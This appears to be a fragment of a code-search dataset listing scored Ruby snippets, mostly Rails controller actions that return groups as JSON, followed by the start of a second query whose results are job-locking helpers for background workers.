"docid": "f268ddd0025756e06d29808fa898b979",
"score": "0.75996655",
"text": "def index\n response = { groups: Group.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end",
"title": ""
},
{
"docid": "dd9497cf4e250bf9cbab308299020c00",
"score": "0.75848085",
"text": "def group\n @group = Idol.where(group: params[:group])\n render \"group.json.jb\"\n end",
"title": ""
},
{
"docid": "1a5f7fab306778442c6ee64d3651b209",
"score": "0.75536644",
"text": "def show\n @group = Group.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "c8d6f3dd15a254c9d4be1c2f497081bb",
"score": "0.7552326",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "f7561ae9f31c23495c90889c982f9929",
"score": "0.75232416",
"text": "def index\r\n @groups = current_user.groups\r\n\r\n render json: @groups\r\n end",
"title": ""
},
{
"docid": "e747cdcab4d0ab62707ca84a905da6e2",
"score": "0.7511096",
"text": "def groups opts = {}\n get :group, opts\n end",
"title": ""
},
{
"docid": "cb796a9ba6022118208208e4edc3afb1",
"score": "0.75029373",
"text": "def user_groups\n # render json: User.groups(params[:uid])\n render json: []\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.74999285",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "1eda92470b836d76ec11843452fdc0da",
"score": "0.7499656",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "97eb5aac4539525f84b93b2d8e97ccab",
"score": "0.74932057",
"text": "def groups\n\n\t\tif params[:id]\n\n\t\t\trender :json => User.find(params[:id]).groups\n\n\t\telse\n\n\t\t\trender :json => current_user.groups\n\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "329f092a604fbdd70eb4214bf080deb3",
"score": "0.7460478",
"text": "def viewgroup\n groups = current_user.groups\n render :json => groups.to_json(:include => [:users => {:except => [:created_at, :updated_at, \n\t\t\t:password_digest, :remember_token]}]), :status => 200\n end",
"title": ""
},
{
"docid": "2405ca278c01aca4c07be4a06aaae6af",
"score": "0.74580896",
"text": "def get_groups\n self.class.get(\"#{@url}/rest/user-management/groups\", basic_auth: @auth)\n end",
"title": ""
},
{
"docid": "697916271b640c978c6d1c1106f79b09",
"score": "0.7451343",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end",
"title": ""
},
{
"docid": "84c20bb6b706a631749a76cb5c3742f5",
"score": "0.7435287",
"text": "def get_groups\n @course = Course.find(params[:course_id])\n\n render json: @course.groups\n end",
"title": ""
},
{
"docid": "e3e36cd3bc023f9fd96c5164b7d59529",
"score": "0.7428448",
"text": "def user_groups\n # render :json => User.groups(params[:uid])\n render :json => [] \n end",
"title": ""
},
{
"docid": "d34fe9ed23657b13b793a4f61b62c618",
"score": "0.7425182",
"text": "def show\n render json: @group\n end",
"title": ""
},
{
"docid": "d34fe9ed23657b13b793a4f61b62c618",
"score": "0.7425182",
"text": "def show\n render json: @group\n end",
"title": ""
},
{
"docid": "a850c3ac80e9cb2261c6fe37f95cca0e",
"score": "0.7419987",
"text": "def index\n @api_v1_groups = Api::V1::Group.all\n end",
"title": ""
},
{
"docid": "b7d9f9ec172e0dc11641fca1f2e3f61d",
"score": "0.7394527",
"text": "def index\n\t\tputs \"returning all groups belonging to user\"\n\t\t@user = User.find_by(id: session[:user_id])\n\t\tgroups = []\n\t\t@user.user_groups.collect { |a| groups.push(a.group) }\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => groups}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "11ec43838c0baedb633234c226d224b1",
"score": "0.7393979",
"text": "def index\n #@groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "fd388205e7ff3fad4ce10ec6e70ff289",
"score": "0.73831713",
"text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n #format.json { render json: @group }\n format.json { render_for_api :group, :json => @group }\n end\n end",
"title": ""
},
{
"docid": "dafebb13de67b8973ad2320263e86ec9",
"score": "0.73769504",
"text": "def index\n render json: Group.all\n end",
"title": ""
},
{
"docid": "e04e6097dbbcedb4b6c02414820b038a",
"score": "0.7376113",
"text": "def show\n @usergroup = Usergroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usergroup }\n end\n end",
"title": ""
},
{
"docid": "3869be431a756eeb7818ecb326d3f4ce",
"score": "0.73637986",
"text": "def show\n @group = Group.find_key params[:id]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end",
"title": ""
},
{
"docid": "75b14edd2d4a84b67adc6a027a905420",
"score": "0.7355725",
"text": "def get_groups\n\t\trespond_to do |format|\n if params[:user_id]\n \tuser = User.find(params[:user_id])\n groups = user.groups\n format.json { render :json => groups }\n else\n render :json => \"filtros incompletos\", :status => :unprocessable_entity\n end\n end\t\n end",
"title": ""
},
{
"docid": "23c5edafc94d86bdc37725209b7042a8",
"score": "0.7351068",
"text": "def index\n @groups = Group.all\n render_json_serializer(@groups)\n end",
"title": ""
},
{
"docid": "a3d5a59020c75fbf14ad9150e599fe50",
"score": "0.73482037",
"text": "def show\n @group = current_user.teached_groups.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "a50e37263919d938ced3090e9a987146",
"score": "0.7342302",
"text": "def groups\n result = get(\"groups\")\n end",
"title": ""
},
{
"docid": "df7083fcd90b75347942aaa185d57913",
"score": "0.7337342",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n# format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "86df0ddf701de956a5cf3a1776c4690a",
"score": "0.7332308",
"text": "def show\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_group }\n end\n end",
"title": ""
},
{
"docid": "ef7681884a04aa74a6d8389fd0959d52",
"score": "0.73233205",
"text": "def index\n @groups = Group.all\n render json: @groups, status: 403\n end",
"title": ""
},
{
"docid": "c334c161590f9d02b5001fe9810e450d",
"score": "0.7318785",
"text": "def show\n if @group\n render json: representer(@group).to_json\n else\n render status: 404, json: { errors: 'group not found' }\n end\n end",
"title": ""
},
{
"docid": "04a2d0a1e6d41531262f027b7ea7aa88",
"score": "0.7317872",
"text": "def index\n\t\t@groups = Group.all\n\t\trender json: @groups\n\t end",
"title": ""
},
{
"docid": "0c033c6eef8638f14494fb42dafb78e6",
"score": "0.73101157",
"text": "def groups_list\n request method: :get,\n url: @base_url + 'components/groups'\n end",
"title": ""
},
{
"docid": "683a772c1f28a9d15ad0c93ec704bbb6",
"score": "0.7305203",
"text": "def show\n @group_id = params[:id]\n @group_response = HTTParty.get(\"https://rails-api-ipo.herokuapp.com/api/v1/groups/#{@group_id}.json\")\n @group = {}\n @users =[]\n @group['id']=(@group_response['id'])\n @group['group_name']=(@group_response['group_name'])\n @group['group_permissions']=(@group_response['group_permissions'])\n @group['company_id']=(@group_response['company_id'])\n @users = @group_response['users']\n end",
"title": ""
},
{
"docid": "2651a4e06c31451948f2524f75403bd8",
"score": "0.7305057",
"text": "def show\n\t begin\n @group = Group.find(params[:id])\n\t rescue Exception => e\n\t\t redirect_to root_path, alert: \"This group does not exist.\"\n\t\t return\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "dedb6fa98a83f2a2450a0fc1e8de452e",
"score": "0.7289025",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "2ea51c10649f43cc1dd4d335a9a7f76c",
"score": "0.728663",
"text": "def index\n @groups = group_scope\n\n respond_to do |format|\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "9d74d1faf9defe08a0c08b1461236fba",
"score": "0.72782385",
"text": "def viewgroup\n groups = current_user.groups\n render :json => groups.to_json(:include => {\n :users => {:except => [:created_at, :updated_at, :password_digest, :remember_token]},\n :pending_users => {:except => [:created_at, :updated_at,:password_digest, :remember_token]\n }}), :status => 200\n end",
"title": ""
},
{
"docid": "d6cd00f1ca7e9d9a520fb11a4c78d611",
"score": "0.7269462",
"text": "def show\n #@group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "17b7cc4605ed80431d0c691816f84f19",
"score": "0.7247661",
"text": "def get_group(group_id)\n request :get,\n \"/v3/team/groups/#{group_id}.json\"\n end",
"title": ""
},
{
"docid": "9d1320eed64d15deb86eb9c3ef5ac222",
"score": "0.7242897",
"text": "def call\n res = client.get('/api/rest/v1/groups.json')\n\n res.map { |i| BrickFTP::Types::Group.new(**i.symbolize_keys) }\n end",
"title": ""
},
{
"docid": "55a3f3bb2e6ac7a072c7bdd91a3209e2",
"score": "0.7230493",
"text": "def get_group_by_id(id)\n endpoint = '/groups'\n url = self.base_url.to_s + endpoint.to_s + \"/\" + id.to_s + self.format.to_s\n response = self.get_data(url)\n end",
"title": ""
},
{
"docid": "0a6ea808a4b132046d558304d72a9d79",
"score": "0.7224837",
"text": "def get_user_groups\n path = self.api_root + \"/api/groups\"\n process_firecloud_request(:get, path)\n end",
"title": ""
},
{
"docid": "2edcc132cc26565e66d568460cead4f6",
"score": "0.7218327",
"text": "def index\n @groups = Group.roots\n if request.format.html?\n if Setting.default_group\n find_group\n return show\n end\n end\n respond_with groups\n end",
"title": ""
},
{
"docid": "199032fc3145e411e563ae50f99e1041",
"score": "0.7207685",
"text": "def index\n url = @httpIp + '/pet.com/api/group/getAllGroups'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n # @groups = JSON.parse(response, object_class: OpenStruct)\n @groups = Kaminari.paginate_array(JSON.parse(response, object_class: OpenStruct)).page(params[:page]).per(7)\n end",
"title": ""
},
{
"docid": "aad9a3cb5d5cb07ec64f619772d07294",
"score": "0.7196568",
"text": "def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end",
"title": ""
},
{
"docid": "712ae4bb4001c50c46797339a3097f5c",
"score": "0.7186641",
"text": "def index\n @groups = Group.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "b1351d7de4cd32c59a1e587f7876dc89",
"score": "0.7177947",
"text": "def index\n # @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@groups, mode: :compat) }\n end\n end",
"title": ""
},
{
"docid": "acadc79491e669d157eddf6824d4d5a6",
"score": "0.7169396",
"text": "def retrieve_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "fbca079e1c60c6e3dd116443a2afb6af",
"score": "0.7168186",
"text": "def show\n @grp = Grp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @grp }\n end\n end",
"title": ""
},
{
"docid": "cb31f2a64a65ceb280360f9a3f4cdce8",
"score": "0.71677935",
"text": "def show\n render :json => @group.to_json({})\n end",
"title": ""
},
{
"docid": "bc64b66f2a8cb2e46b8d0b2c1961bbf6",
"score": "0.7150147",
"text": "def show\n\t\t@user_group = UserGroup.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @user_group }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "98ff2a0b2e2e6b2cea85f71b05d67bd3",
"score": "0.71387744",
"text": "def index\n @groups = Group\n authorize!(:index, Group)\n apply_scopes_and_pagination\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "479f642124110bcc4d18bb3a20b9bbe3",
"score": "0.71309674",
"text": "def show\n\t\t@user = User.find(params[:user_id])\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "fc6e83fdfe860f796ee8385afd0822a8",
"score": "0.7128846",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end",
"title": ""
},
{
"docid": "89e6c1811d237ad9750b03ec0075ed87",
"score": "0.71145785",
"text": "def retrieve_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "41c598ca8a062bbfbbad8217af83a891",
"score": "0.7112939",
"text": "def show\n @group = Group.find(params[:id]) || ( not_found and return )\n authorize! :read, @group\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end",
"title": ""
},
{
"docid": "53ddfc65a3ed915a3d75442e152a5e7d",
"score": "0.7105087",
"text": "def show\n @agroup = Agroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agroup }\n end\n end",
"title": ""
},
{
"docid": "609c637c518264c28df66ee4e81c0745",
"score": "0.7104795",
"text": "def show\n @groups = admin_groups(@groups)\n @groups_user = GroupsUser.where(:group_id => @groups).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @groups_user }\n end\n end",
"title": ""
},
{
"docid": "37b5db737bc84a7027f20c1c4f9829e2",
"score": "0.70967275",
"text": "def index\n @groups = Group.all\n\n respond_with(@groups)\n end",
"title": ""
},
{
"docid": "c7b6bada37148f5b8bb7d7d6067e0e81",
"score": "0.709346",
"text": "def group(id, options = {})\n get(\"/groups/#{url_encode id}\", query: options)\n end",
"title": ""
},
{
"docid": "43ad591c88f42419f98c6967f0464f29",
"score": "0.7091955",
"text": "def index\n if (params[:query])\n @group = Group.find_by(group_name: params[:query])\n if @group\n render json: @group\n else\n respond_to do |format|\n format.json { render json: { errors: \"No Groups found\" }, status: :unprocessable_entity }\n end\n end\n elsif (params[:user_id])\n @groups = User.find(params[:user_id]).groups\n render json: @groups.limit(20).as_json(only: [:id, :title])\n else\n @groups = Group.all.where(instructor_id: params[:instructor_id])\n render json: @groups.limit(20).as_json(only: [:id, :title])\n end\n end",
"title": ""
},
{
"docid": "df45710b26241b16d83a0b960d9d5744",
"score": "0.70745337",
"text": "def show\n render json: @group_member\n end",
"title": ""
},
{
"docid": "b548d4d02ece6fd0b6a47b6ce9d8babd",
"score": "0.7073798",
"text": "def show\n\t\t@group = Group.find_by(id: params[:id])\n\t\tusers = []\n\t\t@group.user_groups.collect { |a| users.push(a.user) }\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => users}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c0abca3be528ae58c008a2ee9b0375b3",
"score": "0.7070058",
"text": "def groups\n Log.add_info(request, '') # Not to show passwords.\n\n ary = []\n groups = Group.where(nil).to_a\n unless groups.nil?\n groups_cache = {}\n group_obj_cache = Group.build_cache(groups)\n groups.each do |group|\n ary << group.id.to_s + ':' + Group.get_path(group.id, groups_cache, group_obj_cache)\n end\n end\n\n render(:text => ary.join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "53a6d2d72073b1b6d5f27b551d9b9512",
"score": "0.70566386",
"text": "def index\n if @current_user.isAdmin?\n @groups = Group.all\n else\n @groups = @current_user.groups\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "17fb5c15096571769c0a2da471f0fcf7",
"score": "0.70494485",
"text": "def show\n @groups_user = GroupsUser.where(:group_id => @groups).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @groups_user }\n end\n end",
"title": ""
},
{
"docid": "ecf1359ff237b90f1d3fe71ef187f418",
"score": "0.7038389",
"text": "def index\n group_ids = current_user.memberships.collect{|g| g.group_id}\n @user = User.find(current_user)\n @groups = Group.all\n @my_groups = Group.where(:id => group_ids )\n \n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "9cc3ec7e938c88e28715d0409b1fc2df",
"score": "0.70378613",
"text": "def show\n @game_group = GameGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_group }\n end\n end",
"title": ""
},
{
"docid": "d5cd770182a6ae4cf69a79822f3b2e3d",
"score": "0.70363253",
"text": "def index\n @groups = Group.all.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "566828c690e6a6d5432af47dd6e380ce",
"score": "0.7031277",
"text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html\n end\n end",
"title": ""
},
{
"docid": "6e2b6765c8738c85c07ff9337a3d4393",
"score": "0.7030269",
"text": "def show\n @groupuser = Groupuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @groupuser }\n end\n end",
"title": ""
},
{
"docid": "5a7079657654162e1f9e0b6c37d7f332",
"score": "0.7027902",
"text": "def show\n render json: @group.as_json(params: params, list_users: true)\n end",
"title": ""
}
] |
17f05fa42e976c8f2fd67c10250f415c | INDIVIDUAL JOB LOCK CONVENIENCES A couple quickies to make our life easier when dealing with setting a lock for a job that is currently being processed. | [
{
"docid": "052a73c1e0adcfe0b23c4af23b931ce6",
"score": "0.0",
"text": "def set_expiring_key(job)\n lock_key = job_lock_key(job)\n redis.setex(lock_key, job_lock_duration, \"\")\n end",
"title": ""
}
] | [
{
"docid": "9015ce66607cdf21212cffd93ab5b8e3",
"score": "0.69867903",
"text": "def lock!(key = nil)\n lock = Digest::SHA1.hexdigest @options.to_json\n lock = key if key\n if locked?(lock)\n messages = [\"Waiting at #{Time.now} due to existing job\"]\n job_status('status' => STATUS_WAITING,\n 'message' => messages[0])\n while locked?(lock)\n kill! if should_kill?\n pause! if should_pause?\n sleep 10\n end\n else\n Resque::Plugins::State::Hash.lock(lock)\n end\n end",
"title": ""
},
{
"docid": "e443bdea12b3fadd2d12e7ed647b1d1b",
"score": "0.6951304",
"text": "def input_locks=(_arg0); end",
"title": ""
},
{
"docid": "e443bdea12b3fadd2d12e7ed647b1d1b",
"score": "0.6951304",
"text": "def input_locks=(_arg0); end",
"title": ""
},
{
"docid": "c627c0d9d10a1e03d61f7432c6f2af4a",
"score": "0.6904448",
"text": "def lock\n job_id = item[JID]\n yield if block_given?\n\n job_id\n end",
"title": ""
},
{
"docid": "300cf2d6590713e1b275499e8e9d384b",
"score": "0.68916464",
"text": "def lock_job\n log(:at => \"lock_job\")\n attempts = 0\n job = nil\n until !@running || job\n job = @queue.lock(@top_bound)\n if job.nil?\n log(:at => \"failed_lock\", :attempts => attempts)\n if attempts < @max_attempts\n wait(2**attempts)\n attempts += 1\n next\n else\n break\n end\n else\n log(:at => \"finished_lock\", :job => job[:id])\n end\n end\n job\n end",
"title": ""
},
{
"docid": "aef0d79a3fb86c1a046555e7483c23bb",
"score": "0.6844795",
"text": "def requires_lock=(_arg0); end",
"title": ""
},
{
"docid": "aef0d79a3fb86c1a046555e7483c23bb",
"score": "0.6844795",
"text": "def requires_lock=(_arg0); end",
"title": ""
},
{
"docid": "ff523d52a4183cea5816a9e53c4b9e52",
"score": "0.6809889",
"text": "def locked=(lock)\n end",
"title": ""
},
{
"docid": "ff523d52a4183cea5816a9e53c4b9e52",
"score": "0.6809889",
"text": "def locked=(lock)\n end",
"title": ""
},
{
"docid": "d6823598f7ca6640f5a185b1b8bc3270",
"score": "0.68075675",
"text": "def lock\n old = @locked\n\n unless @locked\n total_count = @cleaner.failure.count\n if total_count>@maximum\n @start_index = total_count-@maximum\n @jobs = all( @start_index, @maximum)\n else\n @start_index = 0\n @jobs = all( 0, total_count)\n end\n end\n\n @locked = true\n yield\n ensure\n @locked = old\n end",
"title": ""
},
{
"docid": "e75bb90c47308cad0a14364398240eeb",
"score": "0.67218477",
"text": "def requires_lock; end",
"title": ""
},
{
"docid": "e75bb90c47308cad0a14364398240eeb",
"score": "0.67218477",
"text": "def requires_lock; end",
"title": ""
},
{
"docid": "c4946b3a7cec88dd54982bed422074de",
"score": "0.6700872",
"text": "def with_lock(*args); end",
"title": ""
},
{
"docid": "6371df3693c9d5edebd41acae1406d2e",
"score": "0.6666792",
"text": "def input_locks; end",
"title": ""
},
{
"docid": "6371df3693c9d5edebd41acae1406d2e",
"score": "0.6666792",
"text": "def input_locks; end",
"title": ""
},
{
"docid": "9e78574b52656647978fb05f61a6e36f",
"score": "0.6663797",
"text": "def lock(*args)\n # encode the args to normalize them (i.e. de-symbolize hash symbol keys, etc)\n args = Resque.encode(args)\n \"lock:#{name}-#{args}\"\n end",
"title": ""
},
{
"docid": "0ed119af5fc1cace85b62b0c53dd43f9",
"score": "0.66359127",
"text": "def lock=(_arg0); end",
"title": ""
},
{
"docid": "139136dc273c809d434bee31d4ab8e9a",
"score": "0.66291565",
"text": "def lock\n contender_key\n semaphore_state\n try_lock\n end",
"title": ""
},
{
"docid": "133c6d188653212a7f5fee1e20530c02",
"score": "0.66213495",
"text": "def lock_wait; end",
"title": ""
},
{
"docid": "96f2daecd7c2a7e1c434f6b89b61e6e0",
"score": "0.6619659",
"text": "def job_lock\n @job_lock ||= begin\n expires = options[LOCK_EXPIRATION_KEY]\n expires += job[JOB_AT_KEY].to_i - Time.now.to_i if job.has_key?(JOB_AT_KEY)\n\n RedisLock.new(\"job:#{job_digest}\", job[JOB_ID_KEY],\n expires: expires,\n timeout: options[LOCK_TIMEOUT_KEY]\n )\n end\n end",
"title": ""
},
{
"docid": "7f5c2888695455fe2a94d031fa665f10",
"score": "0.6595609",
"text": "def with_locked_job\n handle_expired_cursors!\n\n job = @consolidated_queues.lazy.filter_map do |queue|\n cursor = @queue_cursors.fetch(queue, 0)\n found_job = lock_job_in(queue, cursor)\n\n # Because we were using a cursor when we tried to lock this job, if we fail to\n # find a job it is not necessarily the case that there aren't jobs in the\n # queue. We may have been excluding candidate jobs due to the cursor that\n # are now due to be worked.\n #\n # We should attempt to lock again after resetting our cursor to make sure we\n # include jobs that were excluded in the first attempt.\n #\n # We leave the cursors for subsequant queues alone however. The idea there is\n # that if we've touched a subsequant queue at some point and gotten on a cursor\n # then work appears on a more pressing queue then `handle_expired_cursors` will\n # do the appropriate book keeping.\n if found_job.nil? && cursor != 0\n reset_cursor_for!(queue)\n found_job = lock_job_in(queue, 0)\n end\n\n found_job\n end.first\n\n # Check that the job hasn't just been worked by another worker (it's possible to\n # lock a job that's just been destroyed because pg locks don't obey MVCC). If it has\n # been worked, return nil to immediately retry locking.\n #\n # This can happen with jobs that are already being worked when we begin our lock\n # query. The job row exists but is locked at the point that we materialise our job\n # rows for use in the recursive query. At some point after that, but before we\n # attempt to take our lock, the original worker destroys the job row and unlocks the\n # advisory lock. We then attempt to lock the ID, and succeed, despite the job having\n # already been worked.\n #\n # To avoid working the job a second time, we check whether it exists again after\n # acquiring the lock on it.\n return if job && !exists?(job)\n\n @queue_cursors[job[:queue]] = job[:job_id] if job\n\n yield job\n ensure\n if job\n observe(UnlockTotal, UnlockSecondsTotal, worked_queue: job[:queue]) do\n Que.execute(\"SELECT pg_advisory_unlock($1)\", [job[:job_id]])\n end\n end\n end",
"title": ""
},
{
"docid": "36964160577cd6fc641fe5f0dd6f2523",
"score": "0.6594823",
"text": "def try_lock() end",
"title": ""
},
{
"docid": "185f142216f92bc634fe0dd0afba0a7d",
"score": "0.6585308",
"text": "def lock(**options)\n end",
"title": ""
},
{
"docid": "143de2a28329f2bf6b6d256534e92a29",
"score": "0.65474296",
"text": "def lock() end",
"title": ""
},
{
"docid": "e7fbdca0ad1609ac89fb28de2d6ef002",
"score": "0.6543396",
"text": "def before(job,*args)\n \n @job_id = job.id\n msg_options = { }\n begin\n msg_options[:worker]=job.locked_by\n rescue\n end\n JobLog.add(job,\"job running\",:running, msg_options)\n end",
"title": ""
},
{
"docid": "eb1e07afc71dd17d2583db9264f8e9e7",
"score": "0.6532761",
"text": "def acquire_lock(*args)\n args.flatten.each {|r| action_manager.lock_queue.set(r.to_s, self.job_id) }\n \n action_manager.lock_queue.wait(self.job_id)\n end",
"title": ""
},
{
"docid": "a76e57f01681a3ef0907fa50003eec08",
"score": "0.65060157",
"text": "def lock_job\n job = Job.where(:status => Job::STATUS_WAITING).first\n update_count = 0\n\n while update_count == 0 && !job.nil? do\n update_count = Job.where(:id => job.id, :status => Job::STATUS_WAITING).update_all(\n :status => Job::STATUS_RUNNING,\n :start_datetime => Time.new,\n :end_datetime => nil,\n :error_message => nil)\n\n if update_count > 0\n # As the job was just updated, it is necessary to retrieve a up-to-date version here.\n job = Job.find(job.id)\n else\n # Job was picked up by another worker.\n # Trying to pick another one.\n job = Job.where(:status => Job::STATUS_WAITING).first\n end\n end\n\n if update_count > 0\n job\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "4512219b5fe0763d9bdf258d6d743952",
"score": "0.64906216",
"text": "def apply_lock()\n @lock_counter=2\n end",
"title": ""
},
{
"docid": "ee43f0cbb70251895eb1915960f651f3",
"score": "0.6481295",
"text": "def lock_job\n log(:at => \"lock_job\")\n job = nil\n while @running\n break if job = @queue.lock\n @queue.wait\n end\n job\n end",
"title": ""
},
{
"docid": "c5a568c6ba08e677efab3dd315312772",
"score": "0.6418376",
"text": "def lock!; end",
"title": ""
},
{
"docid": "c5a568c6ba08e677efab3dd315312772",
"score": "0.6418376",
"text": "def lock!; end",
"title": ""
},
{
"docid": "3cecad99020e64ed6f4991b535524455",
"score": "0.63737684",
